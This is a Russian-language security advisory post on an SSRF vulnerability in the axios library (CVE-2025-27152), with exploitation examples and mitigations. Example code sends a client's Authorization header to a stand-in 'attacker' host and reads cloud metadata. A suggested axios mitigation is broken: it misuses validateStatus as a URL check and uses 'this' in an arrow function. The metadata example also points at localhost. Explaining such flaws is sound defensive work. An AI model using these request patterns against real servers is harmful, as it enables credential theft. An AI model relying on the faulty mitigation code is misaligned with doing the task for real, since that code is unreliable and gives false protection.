axios
axios
Категория: Программы Теги: Уязвимости Опубликовано: 11 апреля 2025

Уязвимость BDU:2025-02726 в библиотеке axios: SSRF через некорректную обработку URL

Уязвимость BDU:2025-02726 (CVE-2025-27152) в библиотеке axios (версии до 1.8.2) позволяет злоумышленнику выполнить SSRF-атаку (Server-Side Request Forgery) и получить доступ к внутренним ресурсам или украсть конфиденциальные данные. Проблема возникает из-за некорректной обработки абсолютных URL при наличии настроенного baseURL, что приводит к игнорированию ожидаемого базового пути и отправке запросов на произвольные адреса.


Технические характеристики уязвимости

  • Тип: Server-Side Request Forgery (SSRF)

  • CVSS 3.0: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

  • Уязвимые версии: axios < 1.8.2

  • Ключевая причина:

    • Отсутствие проверки совпадения итогового URL с baseURL после объединения параметров.

    • Возможность подмены целевого хоста через передачу абсолютного URL в методах запроса (например, get()post()).


Механизм эксплуатации

Условия для успешной атаки

  1. Наличие baseURL в конфигурации axios:

    const client = axios.create({ baseURL: "http://api.internal.corp/" });  
  2. Контроль над параметрами запроса:

    • Злоумышленник может внедрить абсолютный URL через входные данные (например, параметры API, поля форм).

  3. Доступ к уязвимому endpoint:

    • Пример уязвимого кода:

      app.get("/user/:id", async (req, res) => {  
        const response = await client.get(req.params.id); // SSRF, если id = "http://attacker.com"  
      });  

Пример эксплуатации

  1. Утечка учетных данных:

    • Если в заголовках axios настроен API-ключ:

      const client = axios.create({  
        baseURL: "http://internal-service/",  
        headers: { "Authorization": "Bearer SECRET_KEY" }  
      });  
    • Атакующий передает абсолютный URL:

      client.get("http://attacker/leak");  
    • Результат: Заголовок Authorization отправляется на attacker.

  2. SSRF во внутренней сети:

    • Если сервер с axios имеет доступ к внутренним системам (например, к метаданным облака):

      client.get("http://localhost/latest/meta-data/"); // AWS Metadata  
    • Атакующий получает конфиденциальные данные облачной инфраструктуры.


Технический анализ PoC

Воспроизведение уязвимости через подмену URL:

// Уязвимый код  
const axios = require("axios");  
const client = axios.create({ baseURL: "http://localhost:10001/" });  

// Атака  
const response = await client.get("http://localhost:10002/");  
console.log(response.data); // server2 вместо ожидаемого server1  

Этапы атаки:

  1. Обход baseURL: axios игнорирует baseURL, если передан абсолютный URL.

  2. Отправка запроса на сторонний хост: Сервер получает данные с localhost:10002, а не с localhost:10001.

  3. Утечка данных: Заголовки (например, X-API-KEY) попадают к злоумышленнику.


Векторы атаки

  1. Через публичные API:

    • Если endpoint принимает параметры, влияющие на URL (например, GET /proxy?url=http://attacker).

  2. Клиентские приложения:

    • В браузерных SPA, если злоумышленник может модифицировать параметры запросов (например, через XSS).

  3. Внутренние сервисы:

    • Эксплуатация уязвимости для доступа к системам, недоступным извне (базы данных, Kubernetes API).


Рекомендации по защите

1. Обновление библиотеки

  • Установить axios версии 1.8.2 или новее, где проблема исправлена

2. Валидация входных данных

  • Запретите абсолютные URL в параметрах запросов:

    function validateUrl(input) {  
      if (input.startsWith("http://") || input.startsWith("https://")) {  
        throw new Error("Absolute URLs are not allowed");  
      }  
    }  
    
    app.get("/user/:id", (req, res) => {  
      validateUrl(req.params.id);  
      // ...  
    });  

3. Настройка axios

  • Используйте кастомный обработчик для проверки итогового URL:

    const client = axios.create({  
      baseURL: "http://api.internal.corp/",  
      validateStatus: (url) => {  
        if (!url.startsWith(this.defaults.baseURL)) {  
          throw new Error("URL mismatch");  
        }  
        return true;  
      }  
    });  

4. Сетевые ограничения

  • Для серверов:

    • Заблокируйте исходящие запросы к публичным IP и доменам (разрешите только внутренние хосты).

    • Используйте файрволы для ограничения доступа к метаданным облака.

  • Для клиентов:

    • Настройте CSP (Content Security Policy) для запрета недоверенных соединений.

5. Мониторинг и логирование

  • Регистрируйте все исходящие запросы:

    client.interceptors.request.use(config => {  
      console.log(`Request to: ${config.url}`);  
      return config;  
    });  
  • Настройте алерты при подозрительных запросах.


Условия эксплуатации в корпоративных сетях

  1. Доступ к внутренним API:

    • Атакующий должен иметь возможность взаимодействовать с уязвимым endpoint (например, через VPN или корпоративный портал).

  2. Отсутствие сегментации сети:

    • Если сервер с axios имеет доступ к критичным системам (базы данных, Kubernetes), SSRF может привести к полному компрометированию инфраструктуры.

  3. Неконтролируемые входные данные:

    • Использование параметров запроса без санитизации (например, ID пользователя, путь к файлу).

Алексей Черемных Алексей Черемных
84